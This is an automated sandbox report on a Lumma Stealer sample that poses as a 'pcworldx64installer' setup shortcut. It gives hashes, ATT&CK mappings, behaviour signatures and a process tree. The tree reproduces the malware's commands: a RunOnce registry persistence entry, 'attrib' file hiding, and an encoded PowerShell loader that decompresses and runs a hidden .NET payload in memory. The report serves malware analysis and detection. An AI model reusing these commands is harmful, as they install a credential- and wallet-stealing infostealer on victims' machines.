lumma | 1d6b7413e684f70103aca0e6b259dda9728c2d7b8ce2c07d6068232e6a26aba8

General

Target

pcworldx64installer/Setup_x64.exe.lnk
Size

1KB
MD5

b1b6eb2189e0f3d7ecfea63baafca452
SHA1

af279896cf4ec2c487e5599759cee19bdd0d84b6
SHA256

0bbeb529931ee10f4cde96b33689c45b0406b3b33a55d4a0341fac2e67749b55
SHA512

b1dbf2144f13d08b7a62a7fc24681f6c8c324b56eb4048da64836ab2d83efed80c80acc9f06e44de02ddcdb31a4eefa9f244447b128d1d73cacf583eb17f66a2

Score

10^/10

lumma evasion persistence spyware stealer

Malware Config

Signatures

Lumma Stealer
An infostealer written in C++ first seen in August 2022.
stealer lumma
Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exe

pid process

4668 attrib.exe

pid	process
4668	attrib.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cmd.exeparticovl.bat.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	particovl.bat.exe

Executes dropped EXE 3 IoCs

Processes:

particovl.bat.exeparticovl.bat.exeparticovl.bat.exe

pid process

1908 particovl.bat.exe
4704 particovl.bat.exe
1972 particovl.bat.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
1908	particovl.bat.exe
4704	particovl.bat.exe
1972	particovl.bat.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\particovl = "C:\\Users\\Admin\\AppData\\Roaming\\particovl.bat"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	reg.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

particovl.bat.exe

description pid process target process

PID 1908 set thread context of 1972 1908 particovl.bat.exe particovl.bat.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

particovl.bat.exepowershell.exe

pid process

1908 particovl.bat.exe
1908 particovl.bat.exe
1828 powershell.exe
1828 powershell.exe
1828 powershell.exe
1908 particovl.bat.exe
1908 particovl.bat.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

particovl.bat.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1908 particovl.bat.exe
Token: SeDebugPrivilege 1828 powershell.exe

description	pid	process	target process
PID 1908 set thread context of 1972	1908	particovl.bat.exe	particovl.bat.exe

pid	process
1908	particovl.bat.exe
1908	particovl.bat.exe
1828	powershell.exe
1828	powershell.exe
1828	powershell.exe
1908	particovl.bat.exe
1908	particovl.bat.exe

description	pid	process
Token: SeDebugPrivilege	1908	particovl.bat.exe
Token: SeDebugPrivilege	1828	powershell.exe

Suspicious use of WriteProcessMemory 31 IoCs

Processes:

cmd.execmd.execmd.execmd.exeparticovl.bat.exe

description	pid	process	target process
PID 4424 wrote to memory of 3756	4424	cmd.exe	cmd.exe
PID 4424 wrote to memory of 3756	4424	cmd.exe	cmd.exe
PID 3756 wrote to memory of 372	3756	cmd.exe	cmd.exe
PID 3756 wrote to memory of 372	3756	cmd.exe	cmd.exe
PID 372 wrote to memory of 4612	372	cmd.exe	cmd.exe
PID 372 wrote to memory of 4612	372	cmd.exe	cmd.exe
PID 4612 wrote to memory of 4672	4612	cmd.exe	reg.exe
PID 4612 wrote to memory of 4672	4612	cmd.exe	reg.exe
PID 4612 wrote to memory of 4668	4612	cmd.exe	attrib.exe
PID 4612 wrote to memory of 4668	4612	cmd.exe	attrib.exe
PID 4612 wrote to memory of 1908	4612	cmd.exe	particovl.bat.exe
PID 4612 wrote to memory of 1908	4612	cmd.exe	particovl.bat.exe
PID 4612 wrote to memory of 1908	4612	cmd.exe	particovl.bat.exe
PID 1908 wrote to memory of 1828	1908	particovl.bat.exe	powershell.exe
PID 1908 wrote to memory of 1828	1908	particovl.bat.exe	powershell.exe
PID 1908 wrote to memory of 1828	1908	particovl.bat.exe	powershell.exe
PID 1908 wrote to memory of 4704	1908	particovl.bat.exe	particovl.bat.exe
PID 1908 wrote to memory of 4704	1908	particovl.bat.exe	particovl.bat.exe
PID 1908 wrote to memory of 4704	1908	particovl.bat.exe	particovl.bat.exe
PID 1908 wrote to memory of 1972	1908	particovl.bat.exe	particovl.bat.exe
PID 1908 wrote to memory of 1972	1908	particovl.bat.exe	particovl.bat.exe
PID 1908 wrote to memory of 1972	1908	particovl.bat.exe	particovl.bat.exe
PID 1908 wrote to memory of 1972	1908	particovl.bat.exe	particovl.bat.exe
PID 1908 wrote to memory of 1972	1908	particovl.bat.exe	particovl.bat.exe
PID 1908 wrote to memory of 1972	1908	particovl.bat.exe	particovl.bat.exe
PID 1908 wrote to memory of 1972	1908	particovl.bat.exe	particovl.bat.exe
PID 1908 wrote to memory of 1972	1908	particovl.bat.exe	particovl.bat.exe
PID 1908 wrote to memory of 1972	1908	particovl.bat.exe	particovl.bat.exe
PID 1908 wrote to memory of 1972	1908	particovl.bat.exe	particovl.bat.exe
PID 4612 wrote to memory of 3532	4612	cmd.exe	attrib.exe
PID 4612 wrote to memory of 3532	4612	cmd.exe	attrib.exe

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exe

pid process

4668 attrib.exe
3532 attrib.exe

pid	process
4668	attrib.exe
3532	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\Setup_x64.exe.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /T:84 /C start "Starting Installation..." /B "%CD%\README.md\entry.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\entry.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:372
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4612
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v particovl /d "C:\Users\Admin\AppData\Roaming\particovl.bat"
        5⤵
        Adds Run key to start application
        
        PID:4672
    - - C:\Windows\system32\attrib.exe
        
        attrib +s +h C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe
        5⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:4668
    - - C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe
        
        C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgABmVKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwAZlScAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAbQBlAHQAaABvAGQASQBuAGYAbwAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAaQBuAHMAdABhAG4AYwBlACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAJABtAGUAdABoAG8AZABJAG4AZgBvAC4ATgBhAG0AZQApADsAIAAkAG0AZQB0AGgAbwBkAEkAbgBmAG8ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1908
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1828
      - C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe
        
        C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe
        6⤵
        Executes dropped EXE
        
        PID:4704
      - C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe
        
        C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe
        6⤵
        Executes dropped EXE
        
        PID:1972
    - - C:\Windows\system32\attrib.exe
        
        attrib -s -h C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe
        5⤵
        Views/modifies file attributes
        
        PID:3532

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

2

T1158

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Hidden Files and Directories

Modify Registry

Credential Access

Credentials in Files

2

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
06ad34f9739c5159b4d92d702545bd49

SHA1
9152a0d4f153f3f40f7e606be75f81b582ee0c17

SHA256
474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

SHA512
c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
aab2140164bbf4ec8b3f1090c5d961c1

SHA1
1e35a80c641afa95c321c6a5c4b2cea5531221a5

SHA256
a32a6bb39a92d44e228fb8bfdc7c85c86acaa49a8dfbe2d1e69324184ff9fca6

SHA512
b7b290c4a6a22faa74d2088e64f0933e07cd9b1e01c82b1d755f18db0098fe8d32eb46495245a84f135eb571530fef9bb2864aa90fa4a743aa594133be03525a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hdtnkmhm.lpn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
memory/1828-174-0x0000000003390000-0x00000000033A0000-memory.dmp

Filesize
64KB

Download
memory/1828-177-0x0000000003390000-0x00000000033A0000-memory.dmp

Filesize
64KB

Download
memory/1828-176-0x0000000003390000-0x00000000033A0000-memory.dmp

Filesize
64KB

Download
memory/1828-173-0x0000000003390000-0x00000000033A0000-memory.dmp

Filesize
64KB

Download
memory/1908-144-0x0000000004FB0000-0x0000000005016000-memory.dmp

Filesize
408KB

Download
memory/1908-145-0x0000000005120000-0x0000000005186000-memory.dmp

Filesize
408KB

Download
memory/1908-158-0x00000000061F0000-0x000000000620A000-memory.dmp

Filesize
104KB

Download
memory/1908-159-0x00000000029A0000-0x00000000029B0000-memory.dmp

Filesize
64KB

Download
memory/1908-160-0x00000000029A0000-0x00000000029B0000-memory.dmp

Filesize
64KB

Download
memory/1908-161-0x0000000006ED0000-0x0000000006F0C000-memory.dmp

Filesize
240KB

Download
memory/1908-162-0x00000000029A0000-0x00000000029B0000-memory.dmp

Filesize
64KB

Download
memory/1908-156-0x00000000029A0000-0x00000000029B0000-memory.dmp

Filesize
64KB

Download
memory/1908-155-0x0000000005CC0000-0x0000000005CDE000-memory.dmp

Filesize
120KB

Download
memory/1908-157-0x0000000007600000-0x0000000007C7A000-memory.dmp

Filesize
6.5MB

Download
memory/1908-143-0x0000000004E10000-0x0000000004E32000-memory.dmp

Filesize
136KB

Download
memory/1908-142-0x00000000029A0000-0x00000000029B0000-memory.dmp

Filesize
64KB

Download
memory/1908-141-0x00000000029A0000-0x00000000029B0000-memory.dmp

Filesize
64KB

Download
memory/1908-139-0x0000000002490000-0x00000000024C6000-memory.dmp

Filesize
216KB

Download
memory/1908-140-0x0000000005300000-0x0000000005928000-memory.dmp

Filesize
6.2MB

Download
memory/1972-181-0x0000000000400000-0x0000000000507000-memory.dmp

Filesize
1.0MB

Download
memory/1972-186-0x0000000000400000-0x0000000000507000-memory.dmp

Filesize
1.0MB

Download
memory/1972-183-0x0000000000400000-0x0000000000507000-memory.dmp

Filesize
1.0MB

Download
memory/1972-188-0x0000000000400000-0x0000000000507000-memory.dmp

Filesize
1.0MB

Download
memory/1972-189-0x0000000000400000-0x0000000000507000-memory.dmp

Filesize
1.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads